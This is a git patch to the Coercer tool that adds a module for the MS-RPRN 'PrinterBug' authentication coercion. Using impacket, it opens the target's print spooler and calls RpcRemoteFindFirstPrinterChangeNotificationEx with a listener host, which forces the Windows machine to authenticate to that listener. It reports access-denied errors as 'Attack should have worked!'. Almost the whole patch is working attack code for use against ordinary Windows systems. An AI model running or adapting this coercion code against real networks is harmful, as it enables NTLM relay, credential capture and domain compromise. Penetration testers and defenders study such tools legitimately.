From d7e19bd06bb28c9e69e255d70815437e8b23a43f Mon Sep 17 00:00:00 2001
From: p0dalirius <podalirius@protonmail.com>
Date: Sat, 9 Jul 2022 23:07:05 +0200
Subject: [PATCH] Implemented
 MS-RPRN:RpcRemoteFindFirstPrinterChangeNotificationEx, fixes #5

---
 coercer.py                |  5 ++-
 lib/protocols/MS_RPRN.py  | 65 +++++++++++++++++++++++++++++++++++++++
 lib/protocols/__init__.py |  1 +
 3 files changed, 68 insertions(+), 3 deletions(-)
 create mode 100644 lib/protocols/MS_RPRN.py

diff --git a/coercer.py b/coercer.py
index cd837d9..f0f88d9 100755
--- a/coercer.py
+++ b/coercer.py
@@ -9,7 +9,7 @@
 import os
 import sys
 
-from lib.protocols import MS_EFSR, MS_FSRVP, MS_DFSNM
+from lib.protocols import MS_EFSR, MS_FSRVP, MS_DFSNM, MS_RPRN
 from lib.utils.smb import connect_to_pipe, can_bind_to_protocol, get_available_pipes_and_protocols
 
 
@@ -102,8 +102,7 @@ def coerce_auth_target(options, target, lmhash, nthash, all_pipes, available_pro
 
 
 available_protocols = [
-    #MS_DFSNM,
-    MS_EFSR, MS_FSRVP
+    MS_DFSNM, MS_EFSR, MS_FSRVP, MS_RPRN
 ]
 
 
diff --git a/lib/protocols/MS_RPRN.py b/lib/protocols/MS_RPRN.py
new file mode 100644
index 0000000..2d09a1e
--- /dev/null
+++ b/lib/protocols/MS_RPRN.py
@@ -0,0 +1,65 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+# File name          : MS_RPRN.py
+# Author             : Podalirius (@podalirius_)
+# Date created       : 9 Jul 2022
+
+
+import sys
+from .RPCProtocol import RPCProtocol, DCERPCSessionError
+from impacket.dcerpc.v5 import transport, rprn
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
+from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, LONG, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR, GUID
+from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+
+class MS_RPRN(RPCProtocol):
+    name = "[MS-RPRN]: Print System Remote Protocol"
+    shortname = "MS-RPRN"
+    uuid = "12345678-1234-ABCD-EF00-0123456789AB"
+    version = "1.0"
+    available_pipes = [r"\PIPE\spoolss"]
+
+    def RpcRemoteFindFirstPrinterChangeNotificationEx(self, listener, max_retries=3):
+        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d
+        # Finding credits:
+        call_name, call_opnum = "RpcRemoteFindFirstPrinterChangeNotificationEx", 65
+        if self.dce is not None:
+            tries = 0
+            while tries <= max_retries:
+                tries += 1
+                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
+                sys.stdout.flush()
+                try:
+                    resp = rprn.hRpcOpenPrinter(self.dce, '\\\\%s\x00' % self.target)
+
+                    request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
+                    request['hPrinter'] = resp['pHandle']
+                    request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
+                    request['pszLocalMachine'] = '\\\\%s\x00' % listener
+                    request['pOptions'] = NULL
+                    if self.debug:
+                        request.dump()
+                    resp = self.dce.request(request)
+                except Exception as e:
+                    if "rpc_s_access_denied" in str(e):
+                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
+                        print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m")
+                        return False
+                    else:
+                        print("\x1b[1;91m%s\x1b[0m" % str(e))
+                        if self.debug:
+                            pass
+        else:
+            if self.verbose:
+                print("[!] Error: dce is None, you must call connect() first.")
+
+    @classmethod
+    def list_coerce_methods(cls):
+        return [
+            ("RpcRemoteFindFirstPrinterChangeNotificationEx", 65, None)
+        ]
+
+    def perform_coerce_calls(self, listener):
+        if listener is not None:
+            self.RpcRemoteFindFirstPrinterChangeNotificationEx(listener)
diff --git a/lib/protocols/__init__.py b/lib/protocols/__init__.py
index 4f0309e..cf7552e 100644
--- a/lib/protocols/__init__.py
+++ b/lib/protocols/__init__.py
@@ -7,3 +7,4 @@
 from .MS_DFSNM import MS_DFSNM
 from .MS_EFSR import MS_EFSR
 from .MS_FSRVP import MS_FSRVP
+from .MS_RPRN import MS_RPRN
\ No newline at end of file